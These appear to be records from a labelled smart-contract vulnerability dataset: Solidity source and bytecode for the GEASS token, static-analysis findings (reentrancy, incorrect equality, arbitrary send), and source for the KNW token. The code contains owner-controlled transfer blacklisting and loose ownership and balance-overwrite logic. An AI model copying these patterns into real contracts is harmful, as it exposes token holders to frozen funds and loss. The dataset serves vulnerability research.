renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract GEASS is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 2e10 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "CODE GEASS INU"; string private constant _symbol = "GEASS"; uint private constant _decimals = 9; uint256 private _teamFee = 11; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); uint256 burnCount = contractTokenBalance.div(4); contractTokenBalance -= burnCount; _burnToken(burnCount); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _burnToken(uint256 burnCount) private lockTheSwap(){ _transfer(address(this), address(0xdead), burnCount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (1 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 15, "not larger than 15%"); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f7578063cf0848f71461040c578063cf9d4afa1461042c578063dd62ed3e1461044c578063e6ec64ec14610492578063f2fde38b146104b257600080fd5b8063715018a61461032c5780638da5cb5b1461034157806390d49b9d1461036957806395d89b4114610389578063a9059cbb146103b7578063b515566a146103d757600080fd5b806331c2d8471161010857806331c2d847146102455780633bbac57914610265578063437823ec1461029e578063476343ee146102be5780635342acb4146102d357806370a082311461030c57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101bb57806318160ddd146101eb57806323b872dd14610211578063313ce5671461023157600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d2565b005b34801561017e57600080fd5b5060408051808201909152600e81526d434f444520474541535320494e5560901b60208201525b6040516101b29190611948565b60405180910390f35b3480156101c757600080fd5b506101db6101d63660046119c2565b61051e565b60405190151581526020016101b2565b3480156101f757600080fd5b506801158e460913d000005b6040519081526020016101b2565b34801561021d57600080fd5b506101db61022c3660046119ee565b610535565b34801561023d57600080fd5b506009610203565b34801561025157600080fd5b50610170610260366004611a45565b61059e565b34801561027157600080fd5b506101db610280366004611b0a565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102aa57600080fd5b506101706102b9366004611b0a565b610634565b3480156102ca57600080fd5b50610170610682565b3480156102df57600080fd5b506101db6102ee366004611b0a565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031857600080fd5b50610203610327366004611b0a565b6106bc565b34801561033857600080fd5b506101706106de565b34801561034d57600080fd5b506000546040516001600160a01b0390911681526020016101b2565b34801561037557600080fd5b50610170610384366004611b0a565b610714565b34801561039557600080fd5b50604080518082019091526005815264474541535360d81b60208201526101a5565b3480156103c357600080fd5b506101db6103d23660046119c2565b61078e565b3480156103e357600080fd5b506101706103f2366004611a45565b61079b565b34801561040357600080fd5b506101706108b4565b34801561041857600080fd5b50610170610427366004611b0a565b61096b565b34801561043857600080fd5b50610170610447366004611b0a565b6109b6565b34801561045857600080fd5b50610203610467366004611b27565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049e57600080fd5b506101706104ad366004611b60565b610c11565b3480156104be57600080fd5b506101706104cd366004611b0a565b610c87565b6000546001600160a01b031633146105055760405162461bcd60e51b81526004016104fc90611b79565b60405180910390fd5b6000610510306106bc565b905061051b81610d1f565b50565b600061052b338484610e99565b5060015b92915050565b6000610542848484610fbd565b610594843361058f85604051806060016040528060288152602001611cf4602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113ff565b610e99565b5060019392505050565b6000546001600160a01b031633146105c85760405162461bcd60e51b81526004016104fc90611b79565b60005b8151811015610630576000600560008484815181106105ec576105ec611bae565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062881611bda565b9150506105cb565b5050565b6000546001600160a01b0316331461065e5760405162461bcd60e51b81526004016104fc90611b79565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610630573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052f90611439565b6000546001600160a01b031633146107085760405162461bcd60e51b81526004016104fc90611b79565b61071260006114bd565b565b6000546001600160a01b0316331461073e5760405162461bcd60e51b81526004016104fc90611b79565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061052b338484610fbd565b6000546001600160a01b031633146107c55760405162461bcd60e51b81526004016104fc90611b79565b60005b815181101561063057600c5482516001600160a01b03909116908390839081106107f4576107f4611bae565b60200260200101516001600160a01b0316141580156108455750600b5482516001600160a01b039091169083908390811061083157610831611bae565b60200260200101516001600160a01b031614155b156108a25760016005600084848151811061086257610862611bae565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108ac81611bda565b9150506107c8565b6000546001600160a01b031633146108de5760405162461bcd60e51b81526004016104fc90611b79565b600c54600160a01b900460ff166109425760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104fc565b600c805460ff60b81b1916600160b81b17905542600d81905561096690603c611bf5565b600e55565b6000546001600160a01b031633146109955760405162461bcd60e51b81526004016104fc90611b79565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109e05760405162461bcd60e51b81526004016104fc90611b79565b600c54600160a01b900460ff1615610a485760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104fc565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac39190611c0d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b349190611c0d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba59190611c0d565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c3b5760405162461bcd60e51b81526004016104fc90611b79565b600f811115610c825760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104fc565b600855565b6000546001600160a01b03163314610cb15760405162461bcd60e51b81526004016104fc90611b79565b6001600160a01b038116610d165760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fc565b61051b816114bd565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6757610d67611bae565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dc0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de49190611c0d565b81600181518110610df757610df7611bae565b6001600160a01b039283166020918202929092010152600b54610e1d9130911684610e99565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e56908590600090869030904290600401611c2a565b600060405180830381600087803b158015610e7057600080fd5b505af1158015610e84573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610efb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fc565b6001600160a01b038216610f5c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fc565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fc565b6001600160a01b0382166110835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fc565b600081116110e55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fc565b6001600160a01b03831660009081526005602052604090205460ff161561118d5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104fc565b6001600160a01b03831660009081526004602052604081205460ff161580156111cf57506001600160a01b03831660009081526004602052604090205460ff16155b80156111e55750600c54600160a81b900460ff16155b80156112155750600c546001600160a01b03858116911614806112155750600c546001600160a01b038481169116145b156113ed57600c54600160b81b900460ff166112735760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104fc565b50600c546001906001600160a01b0385811691161480156112a25750600b546001600160a01b03848116911614155b80156112af575042600e54115b156112f75760006112bf846106bc565b90506112e060646112da6801158e460913d00000600261150d565b9061158c565b6112ea84836115ce565b11156112f557600080fd5b505b600d54421415611325576001600160a01b0383166000908152600560205260409020805460ff191660011790555b6000611330306106bc565b600c54909150600160b01b900460ff1615801561135b5750600c546001600160a01b03868116911614155b156113eb5780156113eb57600c5461138f906064906112da90600f90611389906001600160a01b03166106bc565b9061150d565b8111156113bc57600c546113b9906064906112da90600f90611389906001600160a01b03166106bc565b90505b60006113c982600461158c565b90506113d58183611c9b565b91506113e08161162d565b6113e982610d1f565b505b505b6113f98484848461165d565b50505050565b600081848411156114235760405162461bcd60e51b81526004016104fc9190611948565b5060006114308486611c9b565b95945050505050565b60006006548211156114a05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fc565b60006114aa611760565b90506114b6838261158c565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261151c5750600061052f565b60006115288385611cb2565b9050826115358583611cd1565b146114b65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fc565b60006114b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611783565b6000806115db8385611bf5565b9050838110156114b65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fc565b600c805460ff60b01b1916600160b01b17905561164d3061dead83610fbd565b50600c805460ff60b01b19169055565b808061166b5761166b6117b1565b60008060008061167a876117cd565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116a79085611814565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116d690846115ce565b6001600160a01b0389166000908152600160205260409020556116f881611856565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161173d91815260200190565b60405180910390a3505050508061175957611759600954600855565b5050505050565b600080600061176d6118a0565b909250905061177c828261158c565b9250505090565b600081836117a45760405162461bcd60e51b81526004016104fc9190611948565b5060006114308486611cd1565b6000600854116117c057600080fd5b6008805460095560009055565b6000806000806000806117e2876008546118e2565b9150915060006117f0611760565b90506000806118008a858561190f565b909b909a5094985092965092945050505050565b60006114b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113ff565b6000611860611760565b9050600061186e838361150d565b3060009081526001602052604090205490915061188b90826115ce565b30600090815260016020526040902055505050565b60065460009081906801158e460913d000006118bc828261158c565b8210156118d9575050600654926801158e460913d0000092509050565b90939092509050565b600080806118f560646112da878761150d565b905060006119038683611814565b96919550909350505050565b6000808061191d868561150d565b9050600061192b868661150d565b905060006119398383611814565b92989297509195505050505050565b600060208083528351808285015260005b8181101561197557858101830151858201604001528201611959565b81811115611987576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051b57600080fd5b80356119bd8161199d565b919050565b600080604083850312156119d557600080fd5b82356119e08161199d565b946020939093013593505050565b600080600060608486031215611a0357600080fd5b8335611a0e8161199d565b92506020840135611a1e8161199d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a5857600080fd5b823567ffffffffffffffff80821115611a7057600080fd5b818501915085601f830112611a8457600080fd5b813581811115611a9657611a96611a2f565b8060051b604051601f19603f83011681018181108582111715611abb57611abb611a2f565b604052918252848201925083810185019188831115611ad957600080fd5b938501935b82851015611afe57611aef856119b2565b84529385019392850192611ade565b98975050505050505050565b600060208284031215611b1c57600080fd5b81356114b68161199d565b60008060408385031215611b3a57600080fd5b8235611b458161199d565b91506020830135611b558161199d565b809150509250929050565b600060208284031215611b7257600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611bee57611bee611bc4565b5060010190565b60008219821115611c0857611c08611bc4565b500190565b600060208284031215611c1f57600080fd5b81516114b68161199d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c7a5784516001600160a01b031683529383019391830191600101611c55565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611cad57611cad611bc4565b500390565b6000816000190483118215151615611ccc57611ccc611bc4565b500290565b600082611cee57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208d43f3e65b2f75034da08b8805082e92a71b60c7a84db28ac63d470784e4c1b064736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,644
0xa3e3b0308868c93d18e3ec359f264950fe0f5a9d
pragma solidity ^0.4.18; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() public constant returns (uint256); function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); } /** * @title ERC20 token * * @dev Implementation of the ERC20 token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract ERC20Token is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address[] public owners; event OwnerAdded(address indexed authorizer, address indexed newOwner, uint256 index); event OwnerRemoved(address indexed authorizer, address indexed oldOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owners.push(msg.sender); OwnerAdded(0x0, msg.sender, 0); } /** * @dev Throws if called by any account other than one owner. */ modifier onlyOwner() { bool isOwner = false; for (uint256 i = 0; i < owners.length; i++) { if (msg.sender == owners[i]) { isOwner = true; break; } } require(isOwner); _; } /** * @dev Allows one of the current owners to add a new owner * @param newOwner The address give ownership to. */ function addOwner(address newOwner) onlyOwner public { require(newOwner != address(0)); uint256 i = owners.push(newOwner) - 1; OwnerAdded(msg.sender, newOwner, i); } /** * @dev Allows one of the owners to remove other owner */ function removeOwner(uint256 index) onlyOwner public { address owner = owners[index]; owners[index] = owners[owners.length - 1]; delete owners[owners.length - 1]; OwnerRemoved(msg.sender, owner); } function ownersCount() constant public returns (uint256) { return owners.length; } } contract UpgradableStorage is Ownable { // Address of the current implementation address internal _implementation; event NewImplementation(address implementation); /** * @dev Tells the address of the current implementation * @return address of the current implementation */ function implementation() public view returns (address) { return _implementation; } } /** * @title Upgradable * @dev This contract represents an upgradable contract */ contract Upgradable is UpgradableStorage { function initialize() public payable { } } /** * Base Contract (KNW) * Upgradable Standard ECR20 Token */ contract Base is Upgradable, ERC20Token { function name() pure public returns (string) { return 'Knowledge.io'; } function symbol() pure public returns (string) { return 'KNW'; } function decimals() pure public returns (uint8) { return 8; } function INITIAL_SUPPLY() pure public returns (uint) { /** 150,000,000.00000000 KNW tokens */ return 15000000000000000; } function totalSupply() view public returns (uint) { return INITIAL_SUPPLY(); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * A token upgrade mechanism where users can upgrade tokens * to the next smart contract revision. * * First envisioned by Golem and Lunyr projects. */ contract Legacy is Base { using SafeMath for uint256; /** The contract from which we upgrade */ Legacy public prevContract; /** * Somebody has upgraded some of their tokens. */ event UpgradeFrom(address indexed _from, address indexed _to, uint256 _value); /** * Previous contract available. */ event PrevContractSet(address contractAddress); modifier fromPrevContract() { require(msg.sender == address(prevContract)); _; } function upgradeFrom(address holder, uint256 value) fromPrevContract public returns (bool) { balances[holder] = value; Transfer(address(0), holder, value); UpgradeFrom(address(prevContract), holder, value); return true; } function setPrevContract(address contractAddress) onlyOwner public returns (bool) { require(contractAddress != 0x0); prevContract = Legacy(contractAddress); PrevContractSet(contractAddress); return true; } } /** * Payable is meant to execute the `transfer` method of the ERC20 Token * and log a Pay message with a reference message to bind the payment to an * order id or some other identifier */ contract Payable is Legacy { struct PaymentRequest { uint256 fee; uint256 value; address seller; } mapping (address => mapping(string => PaymentRequest)) private pendingPayments; event Pay( address indexed from, address indexed seller, address indexed store, uint256 value, uint256 fee, string ref ); function requestPayment(uint256 value, uint256 fee, string ref, address to) public { pendingPayments[msg.sender][ref] = PaymentRequest(fee, value, to); } function cancelPayment(string ref) public { delete pendingPayments[msg.sender][ref]; } function paymentInfo(address store, string ref) public view returns (uint256 value, uint256 fee, address seller) { PaymentRequest memory paymentRequest = pendingPayments[store][ref]; value = paymentRequest.value; fee = paymentRequest.fee; seller = paymentRequest.seller; } function pay(address store, string ref) public returns (bool) { PaymentRequest memory paymentRequest = pendingPayments[store][ref]; if (paymentRequest.fee > 0) { assert(transfer(store, paymentRequest.fee)); } assert(transfer(paymentRequest.seller, paymentRequest.value)); Pay(msg.sender, paymentRequest.seller, store, paymentRequest.value, paymentRequest.fee, ref); delete pendingPayments[store][ref]; return true; } }
